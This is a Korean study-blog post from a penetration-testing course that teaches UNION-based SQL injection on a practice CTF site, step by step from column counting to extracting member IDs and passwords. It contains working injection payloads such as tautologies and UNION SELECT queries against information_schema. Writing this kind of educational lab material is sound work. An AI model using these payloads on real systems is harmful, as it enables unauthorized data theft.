Normaltic 모의해킹 취업반 스터디 8기 - 6주차

containerxox·2025년 5월 11일
post-thumbnail

✅ 배울 내용 요약

SQL Injection을 통해 데이터를 추출하는 방법에 대해서 알아보자!

👉 2가지 case가 존재!
1. 웹 페이지에 DB데이터가 출력되는 경우 ( ✓ )
   ↳ ex) 게시판 등
2. 웹페이지에 DB데이터 출력안하는 경우

🚩 오늘은 DB에 있는 데이터가 웹 페이지에 출력되는 경우에서 SQLi를 통해 데이터를 추출하는 방법을 공부할 예정이다!

💡 내가 전달하려는 파라미터를 DB에 전달하고
조회된 DB데이터가 웹 페이지(화면)에 보일 때,
이런 상황에서 데이터를 추출하고 싶다면,
UNION SQL Injection을 사용하는 것이 효과적!

👉 (원리)

웹사이트에 게시판 페이지가 존재한다고 가정.
게시판 페이지에는 게시글과 조회수, 댓글등이 출력되는 페이지이다.
웹 서버에서는 DB가 있으면 게시판 페이지를 채우기 위해
DB에서 게시글, 조회수, 댓글 등의 데이터를 가져와서
게시판 페이지에 채운다.
그리고 Response로 나에게 게시글, 조회수, 댓글 등이 채워진
게시판 페이지를 응답해준다.

➡️ SQLi를 하여 게시판 페이지에 다른 데이터가 출력되게 만들 수도 있다!!
➡️ 이런 원리를 이용해서 ID, Password등 다른 정보를 탈취가능하다!

• 연습 사이트: http://ctf.segfaulthub.com:1020/




👉 1234를 입력하여 normaltic의 레코드를 출력함.

💁‍♀️ DB에 저장된 다른사람들의 데이터도 출력되게 하고 싶다면 어떻게 해야하지?
방법 1) 1' or '1 입력 ▶ member 테이블에 저장된 모든 레코드가 출력됨!

방법 2) ' or '1'='1 입력 ▶ member 테이블에 저장된 모든 레코드가 출력됨!



🤔 궁금한 점!
지금까지는 member라는 테이블의 레코드를 가져오게 했어.
만약, 게시판에서 SQLi 취약점을 발견했어.
게시판에에 있는 웹 페이지는 어떤 SQL쿼리를 준비해두었을까?
아마도 DB에서 게시판 글 정보를 가져오는 SQL쿼리를 작성했을거야.
예를들어, select * from board where idx='____'

하지만, 위 같은 SQL쿼리로는 다른 테이블의 데이터를 가져올 수 없어..
다른 테이블의 데이터를 가져오는 방법 없을까??
➡️ UNION을 이용하자!




✅ UNION SELECT

  • 2개 이상의 SELECT 결과하나로 합쳐서 보여주는 SQL 구문
  • UNION SELECT 기본 문법
    (select 문) union (select 문)
SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;
  • 주의할 점
    양쪽의 select문 서로 컬럼 개수가 동일하지 않으면 오류 발생
  • UNION은 기본적으로 중복 행을 제거함



👉 기본 출력 01 ) select pass from member ▶ member 테이블에서 pass컬럼 값들을 출력
👉 기본 출력 01 ) select id from member ▶ member 테이블에서 id컬럼 값들을 출력




👉 UNION 사용 예시 1 ) select pass from member union select id from member
▶ member테이블의 pass컬럼 데이터들과 memeber테이블의 id컬럼 데이터들이 하나의 컬럼에 합쳐져서 출력됨.
▶ 여기서 컬럼명은 pass가 된다. ( 컬럼 명은 첫 번째 select문의 컬럼명으로 적용되어 출력됨! )



👉 기본 출력 02) select id,pass from member ▶ member 테이블에서 id, pass컬럼 데이터들을 출력



👉 UNION 사용 예시 2 ) select id, pass, from member union select 1,2
▶ member테이블의 id과 pass 컬럼의 값 & 데이터 1과 2를 합치겠다는 의미



👉 UNION 사용 예시 3 ) select id, pass from member union select 'normaltic', 'test'
▶ member테이블의 id과 pass 컬럼의 값 & 데이터 normaltic과 test를 합치겠다는 의미




⚠️ 주의사항 ) select id, pass from member union select id from member
→ 에러 발생 !
이유: UNION은 양쪽의 select문 서로 컬럼 개수가 동일하지 않으면 오류 발생
→ 첫 번째 select문은 컬럼이 id, pass로 2개이고, 두 번째 select문은 컬럼이 id로 1개이다.
→ 따라서, 양 쪽의 select문이 서로 컬럼 개수가 동일하지 않으므로 오류가 발생한 것이다!




✅ order by

SQL에서 데이터를 정렬할 때 사용하는 명령어

  • 오름차순(ASC)과 내림차순(DESC) 옵션을 적용할 수 있다.
  • order by 기본 문법
    (select ~) order by [컬럼명 또는 숫자]
    order by 컬럼이름 또는 order by 숫자(몇번째 컬럼)로 적을 수도 있다.
    ↳ 예를 들어, order by 1이라면 첫번째 컬럼 기준으로 정렬함.
    ↳ select문의 맨 뒤에 적는 것이 원칙!
SELECT 컬럼1, 컬럼2 FROM 테이블
ORDER BY 컬럼이름 [ASC|DESC];
  • select * from 테이블명 order by 컬럼명 asc
  • select * from 테이블명 order by 컬럼명 desc
  • select * from 테이블명 order by 컬럼명1 asc, 컬럼명2 desc
  • select * from 테이블명 order by 3 desc



👉 order by 사용 예시 1 ) select pass from member order by pass desc
▶ memeber 테이블의 pass컬럼을 pass컬럼 기준으로 내림차순 정렬

👉 order by 사용 예시 2 ) select * from member order by 4
▶ memeber 테이블의 모든 컬럼 값을 4번째컬럼 기준으로 정렬

👉 order by 사용 예시 3 ) select * from member order by 5
▶ 오류 발생!
▶ memeber 테이블의 컬럼 개수가 4개라는 것을 알 수 있다!
▶ 즉, member 테이블에서 5번째 컬럼은 존재하지 않음!

👉 order by 사용 예시 4 ) select id from member order by 1
▶ member 테이블의 id 컬럼의 데이터들을 첫번째 컬럼(id컬럼)기준으로 정렬

👉 order by 사용 예시 5 ) select id from member order by 2
▶ 오류 발생!
SELECT id처럼 컬럼이 1개만 있을 때 ORDER BY 2를 쓰면, 두 번째 컬럼이 없어서 오류가 발생한다!

👉 order by 사용 예시 6 ) select id, pass from member order by id
▶ member 테이블에서 id와 pass를 조회하고, id컬럼을 기준으로 오름차순 정렬

👉 order by 사용 예시 7 ) select id, pass from member order by 1
▶ 인덱스 번호(몇번째 컬럼)를 적어도됨.
▶ member 테이블에서 id와 pass를 조회하고, 첫번째 컬럼(id컬럼)을 기준으로 오름차순 정렬

👉 order by 사용 예시 7 ) select id, pass from member order by 2
▶ member 테이블에서 id와 pass를 조회하고, 두번째 컬럼(pass컬럼)을 기준으로 오름차순 정렬

  
 

💡order by를 이용해서 테이블의 컬럼 개수를 파악 가능 !




✅ LIKE 절

문자열에서 특정 패턴을 검색할 때 사용하는 SQL 조건문

  • 와일드카드 %_이 같이 사용됨.
    % : 0개 이상의 임의의 문자 (모든 문자열 포함)
    _ : 정확히 1개의 임의의 문자
  • LIKE절 기본 문법
    SELECT * FROM 테이블명 WHERE 컬럼명 LIKE '패턴';

 

  • % 사용 예시
    SELECT * FROM member WHERE name LIKE '김%';
    → 김으로 시작하는 모든 이름( 김철수, 김, 김해 등)

    SELECT * FROM member WHERE name LIKE '%수';
    → 수로 끝나는 이름 (김해수, 김이수 등)

    SELECT * FROM member WHERE name LIKE '%민%';
    → 민이 포함된 이름 (박민수, 박민기 등)

 

  • _ 사용 예시
    SELECT * FROM member WHERE id LIKE '_bc';
    → 앞에 한 글자가 있고, 그 뒤에 bc인 경우 (abc, xbc 등)

    SELECT * FROM member WHERE id LIKE 'a_c';
    → a로 시작하고, 중간 글자 아무거나, 마지막에 c (aic, acc 등)




✅ UNION SQL Injection

⭐ << Union SQL Injection Process >>

SQL Injection 포인트 찾기

Coloum 개수 찾기
( UNION을 쓸려면 서로 컬럼의 개수를 동일하게 맞추어야하니까 )

화면에 출력되는 컬럼의 위치 찾기

DB이름 확인

테이블 이름 확인

컬럼 이름 확인

데이터 추출



SQL Injection 포인트 찾기

✔️ SQLi가 되는지 체크하자!
✔️ 보낸 데이터가 서버에서 어떻게 처리되는지 예측해보자!

게임 검색페이지에서 게임이름을 검색했더니 데이터가 출력되네.
아마 웹 서버에서 select문을 썻을거야.
✓ 그리고 내가 입력한 검색어를 가지고 where문의 조건으로 사용했을거야.
✓ 그리고 문자열이니까 작은따옴표(')를 썻을거라고 예상 !

👉 Overwatch 검색 ) select * from game where name like '%Overwatch%'
▶ Overwatch 문자열이 포함된 게임명이 조회됨.

 

👉 Over 검색 ) select * from game where name like '%Over%'
▶ Over 문자열이 포함된 게임명이 조회됨.

 
👉 er 검색 ) select * from game where name like '%er%'
▶ er 문자열이 포함된 게임명이 조회됨.

🤔지금까지 조사해본 결과,
like절 사용된 것 같다.
% 와일드 카드 사용된 것 같다.
 
➡️ 이제 SQL쿼리에서 작은따옴표(')를 사용하는지 조사해보자.

 
👉 작은따옴표 사용여부 ) select * from game where name like '%over%' and '1%'='1%'
▶ over가 포함된 게임명이 조회됨.
over%' and 1%='1을 검색하였더니 데이터가 조회되는 것을 보면, SQL쿼리에서 작은따옴표가 사용됨을 예측가능
작은 따옴표를 넣어서 SQLi 가능하구나!

 
👉 작은따옴표 사용여부 ) select * from game where name like '%over%' and '1%'='2%'
▶ 거짓조건을 적으니까, 결과과 존재하지 않는다는 알림이 뜸.

 

📢 최종 예측 결과,
like절 사용된 것 같다.
% 와일드 카드 사용된 것 같다.
✓ 작은 따옴표 (')를 사용하는 것 같다.



Coloum 개수 찾기

❇️ order by 를 사용해서 컬럼 개수를 파악하자.
 
👉 select * from game where name like '%over%' #%'
▶ 이렇게 하면, over로 검색하는 것과 동일한 검색결과가 출력됨.

 
👉 order by 1 검색 ) select * from game where name like '%over%' order by 1 #%'
▶ 검색결과의 첫 번째 컬럼을 기준으로 정렬됨. (첫번째컬럼 = name)
#로 인해 뒷부분은 주석처리됨.
➡️ order by 2, order by 3, order by 4도 넣어서 검색했을때 아래 사진처럼 결과가 출력됨.

➡️ 즉, 1, 2, 3, 4번째 컬럼이 존재한다!
 
🤔 근데 검색결과를 보면, name, score, production 3개의 컬럼만 나오는데?
↳ 눈에 보이는게 전부가 X
실제 화면(페이지)에는 안보일수도있어. (개발자가 설정하기 나름)
실제 서버에서는 4개의 컬럼을 질문하고 있고,
개발자 설정에 의해 화면에는 3개의 컬럼만 출력하고 있는거야!




👉 order by 5 검색) select * from game where name like '%over%' order by 5 #%'
▶ 오류 발생
검색결과에서 5번째 컬럼은 존재하지 않는다는 의미!



📢 컬럼의 개수는 4개이다!




화면에 출력되는 컬럼의 위치 찾기

❇️ 컬럼이 4개인 걸 파악했으니, union을 이용해서 화면에 출력되는 컬럼의 위치를 찾자!
 
👉 select * from game where name like '%over%' union select 1,2,3,4 #%'
▶ 1은 출력되지 않고 2, 3, 4만 출력되는 걸로 보아,
2(name), 3(score), 4(production)번째 컬럼만 화면에 출력됨을 알 수 있다.

 
👉 pass 컬럼의 데이터를 출력 ) select * from game where name like '%over%' union select 1, pass, 3, 4 from member #%'
2, 3, 4번째의 컬럼 부분만 화면에 출력이 되니까
내가 출력하고 싶은 pass는 2, 3, 4 부분 중 한 곳에 적으면 됨.
▶ 그러면, 해당 부분의 컬럼에 pass가 출력됨.
▶ 내가 작성한 코드는 2번째 컬럼 부분에 pass를 작성했기 때문에,
    검색결과의 2번째 컬럼(name)에 pass가 출력될거야.



이제 원하는 테이블의 원하는 컬럼의 값들을 화면에 출력하여 탈취가 가능해!
📢 화면에 출력되는 컬럼의 위치는 2, 3, 4번째이다!




DB이름 확인

❇️ select database()를 하면 DB이름을 확인할 수 있다.

 
👉 union을 이용해 DB명이 화면에 출력되게 하자 )
select * from game where name like '%over%' union select 1,2,database(),4 #%'
DB이름은 segfault_sql이다!



📢 DB이름은 segfault_sql이다.!




테이블 이름 확인

MySQL, MSSQL, Oracle 등 대부분의 관계형 데이터베이스 시스템(RDBMS) 에는
"메타데이터(데이터의 구조 정보)"를 저장하는 시스템 데이터베이스나 뷰가 존재한다.
일반적으로 "정보 스키마(information schema)" 또는 "데이터 딕셔너리"라고 부른다.
 
즉, DB와 관련된 정보(테이블은 어떤게 있고, 컬럼은 어떤게 있는지에 대한 정보)을 저장하고 있는 스키마가 있다.
information_schema는 표준 스키마(데이터베이스)로, 테이블/컬럼 등의 구조 정보를 담고 있다.
tables는 테이블 정보를 조회할 수 있는 시스템 뷰이다.
 
💡 MySQL에서 테이블 이름 확인
SELECT table_name
: 결과로 각 테이블의 이름만 가져옴 (table_name은 테이블 이름을 담고있는 컬럼)
FROM information_schema.tables
: 모든 테이블 정보를 담고 있는 시스템 뷰에서 가져오겠다는 의미
WHERE table_schema = 'DB이름'
: 특정 데이터베이스(DB이름) 안에 있는 테이블만 조회하겠다는 조건
( table_schema는 데이터베이스 이름을 의미 )

SELECT table_name FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'DB이름';

‣ 예시
: my_database라는 데이터베이스에 존재하는 모든 테이블 이름을 가져옵니다

SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'my_database';



👉 select table_name from information_schema.tables
▶ 컬럼명이 table_name이고,
▶ 데이터베이스안에 존재하는 모든 테이블의 이름을 조회하라는 쿼리.
where조건이 없으므로 모든 DB안의 테이블 이름이 조회됨.

 
👉 select table_name from information_schema.tables where table_schema='segfault_sql'
▶ 컬럼명이 table_name이고,
segfault_sql데이터베이스안에 존재하는 모든 테이블의 이름을 조회하라는 쿼리.
▶ 검색 결과를 보니, segfault_sql 데이터베이스 안에
game, member, secret, secret_member 4개의 테이블이 존재함을 확인!

 
👉 이것을 이용하여 over% union select 1,2,3,4 #에 적용해보자!
👉select * from game where name like '%over%' union select 1, table_name, 3, 4 from information_schema.tables where table_schema='segfault_sql' #%'
▶ 2,3,4번째 컬럼이 화면에 출력되므로, 나는 그 중 2번째 컬럼(name)에 segfault_sql 데이터베이스에 있는 테이블이 출력되게 하였다.



📢 segfault_sql 데이터베이스 안에 있는 테이블명은 game, member, secret, secret_member이다!
이 테이블명을 union select를 통해 화면에 출력되게 할 수 있다.




컬럼 이름 확인

메타데이터(데이터의 구조 정보)를 저장하는 시스템 데이터베이스에서 테이블의 구조정보를 저장하는 것처럼
컬럼의 구조정보 또한 저장하고 있다.
 
💡 MySQL에서 컬럼 이름 확인
SELECT column_name
: 결과로 각 컬럼의 이름만 가져옴 (column_name은 컬럼 이름을 담고있는 컬럼)
FROM information_schema.columns
: 컬럼 정보를 담고 있는 시스템 뷰에서 가져오겠다는 의미
WHERE table_name = '테이블명'
: 특정 테이블에서만 컬럼 정보를 가져옴.
( table_name는 테이블 이름을 의미 )

SELECT column_name
FROM information_schema.columns
WHERE table_name = '테이블명';



💁‍♀️ member라는 테이블에 어떤 컬럼이 있는지 알아볼까?
 
👉 이것을 이용하여 over% union select 1,2,3,4 #에 적용해보자!
👉select * from game where name like '%over%' union select 1, column_name, 3, 4 from information_schema.columns where table_name='member' #%'
▶ 2,3,4번째 컬럼이 화면에 출력되므로, 나는 그 중 2번째 컬럼(name)에 member테이블이의 컬럼이름이 출력되게 하였다.



📢 member테이블의 컬럼은 총 8개이다!
user_id, user_pass, name, user_level, info, id, pass, email



🔶 Tip

MySQL에서 컬럼 이름 확인과 테이블 이름 확인하는 코드를 외워야 하느냐?
=> NO!

구글에 mysql select table name, mysql select coumn name이라고 검색하면
다 나옴.




데이터 추출

❇️ 이제 member 테이블의 id컬럼의 값과 pass컬럼 값들을 화면에 출력되게 만들자!
 
👉select * from game where name like '%over%' union select 1, 2, id, pass from member' #%'
▶ 2,3,4번째 컬럼이 화면에 출력되므로,
▶ 나는 그 중 3번째 컬럼(score)과 4번째 컬럼(production)에
▶ id컬럼의 값들과 pass컬럼의 값들이 출력되게 하였다.

➡️ 기존에는 게시판 페이지에서 game 테이블만을 조회하여 화면에 출력했었는데,
➡️ union을 이용해 다른테이블(member테이블)에서도 컬럼의 데이터(값)들을 추출하는 것이 가능해짐!




☑️ 과제

  1. 복습
    http://ctf.segfaulthub.com:1020/sqlInjection3.php
     
  2. doldol 데이터만 출력
    http://ctf.segfaulthub.com:1020/sqlInjection_2_1.php
     
  3. ctf 문제 풀기

+) 추가과제 (웹 개발)

  • 로그인
  • 회원가입
  • 마이페이지 (내 정보 보기)
  • 게시판 (글쓰고, 수정하고, 삭제하고 , 조회수, 파일업로드, 사진업로드)

0개의 댓글